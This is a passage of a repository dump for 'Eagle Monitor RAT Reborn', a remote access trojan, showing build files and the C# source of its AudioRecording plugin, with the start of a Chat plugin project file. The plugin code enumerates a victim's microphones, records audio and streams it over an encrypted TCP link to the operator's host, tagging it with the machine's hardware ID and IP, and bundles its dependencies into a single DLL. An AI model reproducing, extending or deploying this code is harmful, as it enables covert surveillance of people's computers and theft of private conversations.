<OutputPath>bin\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>..\\..\\bin\\Release\\Plugins\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"Costura, Version=4.1.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL\">\n      <HintPath>..\\..\\packages\\Costura.Fody.4.1.0\\lib\\net40\\Costura.dll</HintPath>\n    </Reference>\n    <Reference Include=\"NAudio\">\n      <HintPath>..\\..\\Eagle Monitor RAT Reborn\\DLLs\\NAudio.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"ClientHandler.cs\" />\n    <Compile Include=\"GetDevices.cs\" />\n    <Compile Include=\"Helpers.cs\" />\n    <Compile Include=\"Launch.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"packages.config\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\..\\Utils\\PacketLib\\PacketLib.csproj\">\n      <Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>\n      <Name>PacketLib</Name>\n    </ProjectReference>\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n  <Import Project=\"..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets\" Condition=\"Exists('..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets')\" />\n  <Target Name=\"EnsureNuGetPackageBuildImports\" BeforeTargets=\"PrepareForBuild\">\n    <PropertyGroup>\n      <ErrorText>Ce projet fait référence à des packages NuGet qui sont manquants sur cet ordinateur. Utilisez l'option de restauration des packages NuGet pour les télécharger. Pour plus d'informations, consultez http://go.microsoft.com/fwlink/?LinkID=322105. Le fichier manquant est : {0}.</ErrorText>\n    </PropertyGroup>\n    <Error Condition=\"!Exists('..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\..\\packages\\Fody.6.0.0\\build\\Fody.targets'))\" />\n    <Error Condition=\"!Exists('..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props'))\" />\n  </Target>\n</Project>"
  },
  {
    "path": "Remote Access Tool/Plugins/AudioRecording/ClientHandler.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\nusing System;\nusing System.IO;\nusing System.Net.Sockets;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class ClientHandler : IDisposable\n    {\n        public Host host { get; set; }\n        private Socket socket { get; set; }\n        public bool Connected { get; set; }\n        public string HWID { get; set; }\n        public string baseIp { get; set; }\n        public string key { get; set; }\n        public bool hasToExit { get; set; }\n\n        public delegate bool ConnectAsync();\n        private delegate PacketType SendDataAsync(IPacket data);\n\n\n        public ConnectAsync connectAsync;\n        private readonly SendDataAsync sendDataAsync;\n\n        public delegate byte[] ReadDataAsync();\n        public delegate IPacket ReadPacketAsync(byte[] BufferPacket);\n\n        public ReadDataAsync readDataAsync;\n        public ReadPacketAsync readPacketAsync;\n\n        public ClientHandler(Host host, string key, string baseIp, string HWID) : base()\n        {\n            this.hasToExit = false;\n            this.host = host;\n            this.key = key;\n            this.baseIp = baseIp;\n            this.HWID = HWID;\n            sendDataAsync = new SendDataAsync(SendData);\n            readDataAsync = new ReadDataAsync(ReceiveData);\n            readPacketAsync = new ReadPacketAsync(PacketParser);\n        }\n\n        public void ConnectStart()\n        {\n            connectAsync = new ConnectAsync(Connect);\n            connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null);\n        }\n\n        private bool Connect()\n        {\n            try\n            {\n                socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n                socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);\n                socket.Connect(host.host, host.port);\n                return true;\n            }\n            catch { }\n            return false;\n        }\n        public void EndConnect(IAsyncResult ar)\n        {\n            Connected = connectAsync.EndInvoke(ar);\n\n            if (hasToExit)\n            {\n                return;\n            }\n            else if (!Connected)\n            {\n                ConnectStart();\n            }\n            else\n            {\n                Receive();\n                if (Launch.audioCapture == true) \n                {\n                    Helpers.StartCaptureAsync();\n                }\n            }\n        }\n\n        public void Receive()\n        {\n            if (hasToExit)\n                return;\n            if (Connected)\n                readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null);\n            else\n                ConnectStart();\n        }\n        private byte[] ReceiveData()\n        {\n            try\n            {\n                int total = 0;\n                int recv;\n                byte[] header = new byte[5];\n                socket.Poll(-1, SelectMode.SelectRead);\n                recv = socket.Receive(header, 0, 5, 0);\n\n                int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0);\n                PacketType packetType = (PacketType)header[4];\n\n                int dataleft = size;\n                byte[] data = new byte[size];\n                while (total < size)\n                {\n                    recv = socket.Receive(data, total, dataleft, 0);\n                    total += recv;\n                    dataleft -= recv;\n                }\n\n                return data;\n            }\n            catch (Exception)\n            {\n                if (Connected)\n                    hasToExit = true;\n\n                Connected = false;\n                return null;\n            }\n        }\n        public void EndDataRead(IAsyncResult ar)\n        {\n            byte[] data = readDataAsync.EndInvoke(ar);\n\n            if (data != null && Connected)\n                readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null);\n            Receive();\n        }\n\n        private IPacket PacketParser(byte[] BufferPacket)\n        {\n            try\n            {\n                return BufferPacket.DeserializePacket(this.key);\n            }\n            catch (Exception)\n            { return null; }\n        }\n\n        public void EndPacketRead(IAsyncResult ar)\n        {\n            IPacket packet = readPacketAsync.EndInvoke(ar);\n\n            if (packet != null)\n                ParsePacket(packet);\n        }\n\n        public void ParsePacket(IPacket packet)\n        {\n            switch (packet.PacketType)\n            {\n                case PacketType.AUDIO_RECORD_ON:\n                    Launch.remoteAudioCapturePacket = (RemoteAudioCapturePacket)packet;\n                    break;\n\n                case PacketType.AUDIO_RECORD_OFF:\n                    hasToExit = true;\n                    Launch.audioCapture = false;\n                    Helpers.StopStreamAudio();\n                    //this.Dispose();\n                    break;\n            }\n        }\n\n        public void SendPacket(IPacket packet)\n        {\n            if (Connected)\n                sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null);\n        }\n        private PacketType SendData(IPacket data)\n        {\n            byte[] encryptedData = data.SerializePacket(this.key);\n\n            int total = 0;\n\n            int size = encryptedData.Length;\n            int datalft = size;\n            byte[] header = new byte[5];\n\n            byte[] temp = BitConverter.GetBytes(size);\n\n            header[0] = temp[0];\n            header[1] = temp[1];\n            header[2] = temp[2];\n            header[3] = temp[3];\n            header[4] = (byte)data.PacketType;\n\n            lock (socket)\n            {\n                try\n                {\n                    socket.Poll(-1, SelectMode.SelectWrite);\n                    int sent = socket.Send(header);\n\n                    if (size > 1000000)//1mb\n                    {\n                        using (MemoryStream memoryStream = new MemoryStream(encryptedData))\n                        {\n                            int read = 0;\n                            memoryStream.Position = 0;\n                            byte[] chunk = new byte[50 * 1000];\n                            while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)\n                            {\n                                socket.Send(chunk, 0, read, SocketFlags.None);\n                            }\n                        }\n                    }\n                    else\n                    {\n                        while (total < size)\n                        {\n                            sent = socket.Send(encryptedData, total, size, SocketFlags.None);\n                            total += sent;\n                            datalft -= sent;\n                        }\n                    }\n\n                }\n                catch (Exception)\n                {\n                    Connected = false;\n                }\n            }\n            return data.PacketType;\n        }\n        private void SendDataCompleted(IAsyncResult ar)\n        {\n            PacketType packetType = sendDataAsync.EndInvoke(ar);\n\n            if (Connected)\n            {\n                if (packetType == PacketType.AUDIO_GET_DEVICES || packetType == PacketType.AUDIO_RECORD_OFF)\n                    this.Dispose();\n            }\n        }\n\n        public void Dispose()\n        {\n            socket.Close();\n            socket.Dispose();\n            socket = null;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/AudioRecording/FodyWeavers.xml",
    "content": "﻿<Weavers xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceSchemaLocation=\"FodyWeavers.xsd\">\n  <Costura />\n</Weavers>"
  },
  {
    "path": "Remote Access Tool/Plugins/AudioRecording/FodyWeavers.xsd",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<xs:schema xmlns:xs=\"http://www.w3.org/2001/XMLSchema\">\n  <!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->\n  <xs:element name=\"Weavers\">\n    <xs:complexType>\n      <xs:all>\n        <xs:element name=\"Costura\" minOccurs=\"0\" maxOccurs=\"1\">\n          <xs:complexType>\n            <xs:all>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"ExcludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with line breaks</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"IncludeAssemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n              <xs:element minOccurs=\"0\" maxOccurs=\"1\" name=\"PreloadOrder\" type=\"xs:string\">\n                <xs:annotation>\n                  <xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>\n                </xs:annotation>\n              </xs:element>\n            </xs:all>\n            <xs:attribute name=\"CreateTemporaryAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeDebugSymbols\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCompression\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"DisableCleanup\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"LoadAtModuleInit\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IgnoreSatelliteAssemblies\" type=\"xs:boolean\">\n              <xs:annotation>\n                <xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"ExcludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to exclude from the default action of \"embed all Copy Local references\", delimited with |</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"IncludeAssemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of assembly names to include from the default action of \"embed all Copy Local references\", delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged32Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"Unmanaged64Assemblies\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n            <xs:attribute name=\"PreloadOrder\" type=\"xs:string\">\n              <xs:annotation>\n                <xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>\n              </xs:annotation>\n            </xs:attribute>\n          </xs:complexType>\n        </xs:element>\n      </xs:all>\n      <xs:attribute name=\"VerifyAssembly\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"VerifyIgnoreCodes\" type=\"xs:string\">\n        <xs:annotation>\n          <xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n      <xs:attribute name=\"GenerateXsd\" type=\"xs:boolean\">\n        <xs:annotation>\n          <xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>\n        </xs:annotation>\n      </xs:attribute>\n    </xs:complexType>\n  </xs:element>\n</xs:schema>"
  },
  {
    "path": "Remote Access Tool/Plugins/AudioRecording/GetDevices.cs",
    "content": "﻿using NAudio.Wave;\nusing System.Collections.Generic;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal static class GetDevices\n    {\n        internal static List<string> GetAudioDevices()\n        {\n            List<string> devices = new List<string>();\n\n            for (int i = 0; i < WaveIn.DeviceCount; i++)\n            {\n                WaveInCapabilities deviceInfo = WaveIn.GetCapabilities(i);\n                devices.Add(deviceInfo.ProductName);\n            }\n            return devices;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/AudioRecording/Helpers.cs",
    "content": "﻿using NAudio.Wave;\nusing System;\nusing PacketLib.Packet;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class Helpers\n    {\n        static Helpers()\n        {\n            captureAsync = new CaptureAsync(Capture);\n        }\n\n        private static WaveInEvent inputDevice;\n\n        internal delegate void CaptureAsync();\n        internal static CaptureAsync captureAsync;\n\n        internal static void StartCaptureAsync()\n        {\n            captureAsync.BeginInvoke(new AsyncCallback(EndCaptureAsync), null);\n        }\n\n        internal static void Capture()\n        {\n            inputDevice = new WaveInEvent();\n            inputDevice.WaveFormat = new WaveFormat(44100, 1);\n\n            inputDevice.DeviceNumber = Launch.remoteAudioCapturePacket.index;\n\n            inputDevice.DataAvailable += WaveDataAvailable;\n            inputDevice.RecordingStopped += WaveStop;\n            inputDevice.StartRecording();\n        }\n\n\n        private static void WaveDataAvailable(object sender, WaveInEventArgs e)\n        {\n            try\n            {\n                if (Launch.audioCapture)\n                {\n                    RemoteAudioCapturePacket remoteAudioCapturePacket = new RemoteAudioCapturePacket(e.Buffer, e.BytesRecorded)\n                    {\n                        BaseIp = Launch.clientHandler.baseIp,\n                        HWID = Launch.clientHandler.HWID\n                    };\n                    Launch.clientHandler.SendPacket(remoteAudioCapturePacket);   \n                }\n                else\n                {\n                    return;\n                }\n            }\n            catch (Exception)\n            {\n                return;\n            }\n        }\n\n        private static void WaveStop(object sender, StoppedEventArgs e)\n        {\n            return;\n        }\n\n        private static void EndCaptureAsync(IAsyncResult ar)\n        {\n            captureAsync.EndInvoke(ar);\n        }\n\n        internal static void StopStreamAudio()\n        {\n            inputDevice.StopRecording();\n            inputDevice.DataAvailable -= null;\n            inputDevice.RecordingStopped -= null;\n            inputDevice?.Dispose();\n            Launch.clientHandler.Dispose();\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/AudioRecording/Launch.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Packet;\nusing System.Threading;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    public static class Launch\n    {\n        internal static ClientHandler clientHandler;\n        internal static bool audioCapture;\n\n        internal static RemoteAudioCapturePacket remoteAudioCapturePacket;\n        public static void Main(LoadingAPI loadingAPI)\n        {\n            audioCapture = false;\n\n            switch (loadingAPI.CurrentPacket.PacketType) \n            {\n                case PacketType.AUDIO_GET_DEVICES:\n                    ClientHandler clientHandlerGetAudioDevices = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID);\n                    clientHandlerGetAudioDevices.ConnectStart();\n                    RemoteAudioPacket remoteAudioPacket = new RemoteAudioPacket(GetDevices.GetAudioDevices(), loadingAPI.BaseIp, loadingAPI.HWID);\n                    while (!clientHandlerGetAudioDevices.Connected)\n                        Thread.Sleep(125);\n                    clientHandlerGetAudioDevices.SendPacket(remoteAudioPacket);\n                    break;\n\n                case PacketType.AUDIO_RECORD_ON:\n                    audioCapture = true;\n                    remoteAudioCapturePacket = (RemoteAudioCapturePacket)loadingAPI.CurrentPacket;\n                    clientHandler = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID);\n                    clientHandler.ConnectStart();\n                    break;\n\n                default:\n                    return;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/AudioRecording/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"AudioRecording\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"AudioRecording\")]\n[assembly: AssemblyCopyright(\"Arsium © 2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"37fcc79c-bc7c-4481-8e5b-9c0ce4496d11\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant '*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/AudioRecording/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/AudioRecording/obj/Release/AudioRecording.csproj.CoreCompileInputs.cache",
    "content": "d2c9222f4c0e6fcd2ddadb30cdd6258ada8fec3b\n"
  },
  {
    "path": "Remote Access Tool/Plugins/AudioRecording/obj/Release/AudioRecording.csproj.FileListAbsolute.txt",
    "content": "D:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\AudioRecording.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\AudioRecording.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\AudioRecording.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.Fody.CopyLocal.cache\nC:\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\AudioRecording.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.AssemblyReference.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.CoreCompileInputs.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.Fody.CopyLocal.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\AudioRecording.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.Fody.CopyLocal.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\AudioRecording.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.Fody.CopyLocal.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\AudioRecording.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.csproj.Fody.CopyLocal.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\AudioRecording\\obj\\Release\\AudioRecording.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/AudioRecording/obj/Release/AudioRecording.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/AudioRecording/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Plugins/AudioRecording/packages.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n  <package id=\"Costura.Fody\" version=\"4.1.0\" targetFramework=\"net45\" />\n  <package id=\"Fody\" version=\"6.0.0\" targetFramework=\"net45\" developmentDependency=\"true\" />\n</packages>"
  },
  {
    "path": "Remote Access Tool/Plugins/Chat/Chat.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{773A4D23-189D-4353-BF37-515591E16F5A}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>Plugin</RootNamespace>\n    <AssemblyName>Chat</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n    <NuGetPackageImportStamp>\n    </NuGetPackageImportStamp>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>true</DebugSymbols>\n    <DebugType>full</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>bin\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>..\\..\\bin\\Release\\Plugins\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"Costura, Version=4.1.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d, processorArchitecture=MSIL\">\n      <HintPath>..\\..\\packages\\Costura.Fody.4.1.0\\lib\\net40\\Costura.dll</HintPath>\n    </Reference>\n    <Reference Include=\"Guna.UI2\">\n      <HintPath>..\\..\\Eagle Monitor RAT Reborn\\DLLs\\Guna.UI2.dll</HintPath>\n    </Reference>\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.Drawing\" />\n    <Reference Include=\"System.Windows.Forms\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"ClientHandler.cs\" />\n    <Compile Include=\"FormPattern.cs\">\n      <SubType>Form</SubType>\n    </Compile>\n    <Compile Include=\"Imports.cs\" />\n    <Compile Include=\"Launch.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n    <Compile Include=\"ChatForm.cs\">\n      <SubType>Form</SubType>\n    